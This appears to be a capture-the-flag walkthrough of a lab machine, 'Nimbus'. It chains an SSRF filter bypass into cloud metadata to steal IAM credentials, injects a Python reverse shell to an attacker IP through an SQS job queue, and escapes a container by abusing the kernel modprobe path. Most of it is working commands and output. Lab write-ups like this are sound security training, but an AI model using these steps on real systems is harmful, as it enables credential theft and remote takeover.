Enumeration
$ nmap -sC -sV -Pn 10.129.x.x
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Nimbus — Internal Job Scheduler)
Adding nimbus.htb and aws.nimbus.htb to /etc/hosts. The /api/v1/health endpoint exposes the queue backend and confirms an SQS target at aws.nimbus.htb. The /jobs/preview endpoint fetches a user-supplied URL server-side — an SSRF candidate.
$ curl -s http://nimbus.htb/api/v1/health
{"queue":"http://aws.nimbus.htb","scheduler":"running","storage":"s3","version":"1.4.2"}
Foothold
SSRF filter bypass
The /jobs/preview endpoint blocks 169.254.169.254 and common variants, and requires the URL to end in .yaml. Both filters are defeated: append ?x=.yaml to satisfy the extension check, and use the decimal representation of the IMDS address (2852039166):
$ curl -s -X POST http://nimbus.htb/jobs/preview \
--data-urlencode 'url=http://2852039166/latest/meta-data/?x=.yaml'
ami-id
iam/
instance-id
Stealing IAM credentials
$ curl -s -X POST http://nimbus.htb/jobs/preview \
--data-urlencode 'url=http://2852039166/latest/meta-data/iam/security-credentials/?x=.yaml'
nimbus-web-role
$ curl -s -X POST http://nimbus.htb/jobs/preview \
--data-urlencode 'url=http://2852039166/latest/meta-data/iam/security-credentials/nimbus-web-role?x=.yaml'
{
"AccessKeyId": "ASIAQX4PG7L2...",
"SecretAccessKey": "bXJ7K8mP/q2Hf+vN9wT4...",
"Token": "IQoJb3JpZ2lu..."
}
SQS code injection
$ export AWS_ACCESS_KEY_ID="ASIAQX4PG7L2..."
$ export AWS_SECRET_ACCESS_KEY="bXJ7K8mP/q2Hf+vN9wT4..."
$ export AWS_SESSION_TOKEN="IQoJb3JpZ2lu..."
$ export AWS_DEFAULT_REGION=us-east-1
$ export AWS_ENDPOINT_URL=http://aws.nimbus.htb
$ aws sqs list-queues
{"QueueUrls": ["http://aws.nimbus.htb/847219365028/nimbus-jobs"]}
The role has SendMessage on the queue. The worker executes the script field as Python via subprocess.run. Inject a reverse shell:
$ aws sqs send-message \
--queue-url "http://aws.nimbus.htb/847219365028/nimbus-jobs" \
--message-body '{
"job_id": "pwn-001",
"name": "test",
"script": "import socket,subprocess,os,pty; s=socket.socket(); s.connect((\"10.10.14.x\",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn(\"/bin/bash\")"
}'
worker@e1bb370cd21d:/app$ cat ~/user.txt
<REDACTED>
Privilege Escalation
Container escape via LocalStack CodeBuild + modprobe
From inside the container, LocalStack is reachable at 172.18.0.2 with no authentication. The CodeBuild service is running.
worker@e1bb370cd21d:/app$ curl -s http://floci:4566/health
{"services":{"codebuild":"running","s3":"running","sqs":"running"}}
Create a privileged CodeBuild project whose buildspec overwrites /proc/sys/kernel/modprobe with a payload path, then triggers execution by running an invalid ELF:
import boto3
cb = boto3.client('codebuild', endpoint_url='http://floci:4566', region_name='us-east-1',
aws_access_key_id='test', aws_secret_access_key='test')
buildspec = """
version: 0.2
phases:
build:
commands:
- UPPER=$(cat /proc/mounts | grep overlay | grep -oP 'upperdir=\\K[^,]+')
- mkdir -p $UPPER/tmp
- printf '#!/bin/sh\\ncp /root/root.txt /tmp/root.txt\\nchmod 777 /tmp/root.txt\\n' > $UPPER/tmp/payload.sh
- chmod +x $UPPER/tmp/payload.sh
- echo "$UPPER/tmp/payload.sh" > /proc/sys/kernel/modprobe
- printf '\\xff\\xff\\xff\\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x || true
"""
cb.create_project(
name='escape',
source={'type': 'NO_SOURCE', 'buildspec': buildspec},
artifacts={'type': 'NO_ARTIFACTS'},
environment={
'type': 'LINUX_CONTAINER',
'image': 'floci/floci:latest',
'computeType': 'BUILD_GENERAL1_SMALL',
'privilegedMode': True
},
serviceRole='arn:aws:iam::000000000000:role/codebuild'
)
cb.start_build(projectName='escape')
worker@e1bb370cd21d:/app$ cat /tmp/root.txt
<REDACTED>
// Discussion